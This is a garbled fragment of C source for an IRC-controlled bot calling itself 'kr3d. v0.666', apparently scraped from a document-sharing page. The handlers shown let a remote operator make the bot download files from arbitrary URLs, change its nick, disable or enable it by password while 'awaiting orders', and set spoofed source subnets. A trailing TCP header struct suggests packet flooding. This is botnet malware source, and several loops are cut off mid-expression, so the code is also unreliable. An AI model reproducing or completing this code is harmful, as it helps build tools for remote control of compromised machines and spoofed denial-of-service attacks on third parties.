You are on page 1of 1

exit(0); } if (!

strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7); else


strcpy(buf,argv[1]); for (i=0;i<strlen(buf) && buf[i] != '/';i++); buf[i]=0;
server.sin_family = AF_INET; server.sin_port = htons(80); if ((ipaddr =
inet_addr(buf)) == -1) { struct hostent *hostm; if ((hostm=gethostbyname(buf)) ==
NULL) { Send(sock,"NOTICE %s :Unable to resolve address.\n",sender); exit(0); }
memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length); } else
server.sin_addr.s_addr = ipaddr; memset(&(server.sin_zero), 0, 8); if
(connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0)
{ Send(sock,"NOTICE %s :Unable to connect to http.\n",sender); exit(0); }
Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75
[en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-
xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAcceptEncoding: gzip\r\nAccept-
Language: en\r\nAccept-Charset: iso-8859-1,*,utf8\r\n\r\n",buf+i+1,buf);
Send(sock,"NOTICE %s :Receiving file.\n",sender); file=fopen(argv[2],"wb");
while(1) { int i; if ((i=recv(sock2,bufm,4096,0)) <= 0) break; if (i < 4096)
bufm[i]=0; for (d=0;d
} void version(int sock, char *sender, int argc, char **argv) { Send(sock,"NOTICE
%s :kr3d. v0.666\n",sender); } void nickc(int sock, char *sender, int argc, char
**argv) { if (argc != 1) { Send(sock,"NOTICE %s :NICK \n",sender); return; } if
(strlen(argv[1]) >= 10) { Send(sock,"NOTICE %s :Nick cannot be larger than 9
characters.\n",sender); return; } Send(sock,"NICK %s\n",argv[1]); } void
disable(int sock, char *sender, int argc, char **argv) { if (argc != 1)
{ Send(sock,"NOTICE %s :DISABLE <pass>\n",sender); Send(sock,"NOTICE %s :Current
status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
return; } if (disabled) { Send(sock,"NOTICE %s :Already disabled.\n",sender);
return; } if (strlen(argv[1]) > 254) { Send(sock,"NOTICE %s :Password too long! >
254\n",sender); return; } disabled=1; memset(dispass,0,256);
strcpy(dispass,argv[1]); Send(sock,"NOTICE %s :Disable sucessful.\n"); } void
enable(int sock, char *sender, int argc, char **argv) { if (argc != 1)
{ Send(sock,"NOTICE %s :ENABLE <pass>\n",sender); Send(sock,"NOTICE %s :Current
status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
return; } if (!disabled) { Send(sock,"NOTICE %s :Already enabled.\n",sender);
return; } if (strcasecmp(dispass,argv[1])) { Send(sock,"NOTICE %s :Wrong
password\n",sender); return; } disabled=0; Send(sock,"NOTICE %s :Password
correct.\n",sender); } void spoof(int sock, char *sender, int argc, char **argv)
{ char ip[256]; int i, num; unsigned long uip; if (argc != 1) {

Send(sock,"NOTICE %s :Removed all spoofs\n",sender); spoofs=0; spoofsm=0; return; }


if (strlen(argv[1]) > 16) { Send(sock,"NOTICE %s :What kind of subnet address is
that? Do something like: 169.40\n",sender); return; } strcpy(ip,argv[1]); if
(ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0; for (i=0, num=1;i<strlen(ip);i++)
if (ip[i] == '.') num++; num=-(num-4); for (i=0;i
unsigned short tcp_length; struct tcphdr tcp; char buf[20];

You might also like